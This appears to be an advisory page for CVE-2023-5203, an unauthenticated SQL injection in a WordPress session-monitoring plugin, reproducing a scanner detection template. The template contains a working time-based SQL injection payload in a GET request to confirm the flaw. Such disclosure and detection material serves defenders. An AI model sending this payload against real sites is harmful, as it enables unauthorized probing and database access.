CVE-2023-5203: WP Sessions Time Monitoring Full Automatic <= 1.0.8 - SQL Injection

Description

The WP Sessions Time Monitoring Full Automatic plugin for WordPress is vulnerable to SQL Injection via request parameters in all versions up to, and including, 1.0.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

PoC

id: CVE-2023-5203

info:
  name: WP Sessions Time Monitoring Full Automatic <= 1.0.8 - SQL Injection
  author: Shivam Kamboj
  severity: critical
  description: |
    The WP Sessions Time Monitoring Full Automatic plugin for WordPress is vulnerable to SQL Injection via request parameters in all versions up to, and including, 1.0.8 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
  impact: |
    Attackers can retrieve sensitive database information without authentication, leading to data breach and privacy violations.
  remediation: |
    Update to version 1.0.9 or later to fix the vulnerability.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/activitytime/wp-sessions-time-monitoring-full-automatic-108-unauthenticated-sql-injection
    - https://wordpress.org/plugins/activitytime/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5203
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-5203
    epss-score: 0.02202
    epss-percentile: 0.81657
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2023,wordpress,wp,wp-plugin,sqli,activitytime

http:
  - raw:
      - |
        @timeout: 30s
        GET /?id=1%27%20AND%20%28SELECT%201%20FROM%20%28SELECT%28SLEEP%287%29%29%29test%29%20--%20 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 7'
          - 'status_code == 200'
          - 'contains(body, "activitytime_tracker")'
          - 'contains(content_type, "text/html")'
        condition: and
# digest: 490a0046304402203a355a662f4dd2120deb7212073216dd9e02880c2782628a72ce38ed6fabefe902201b59ff5ae5d270939aea071203eef9011d4b2d44e531ada36483520fe582dcc7:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities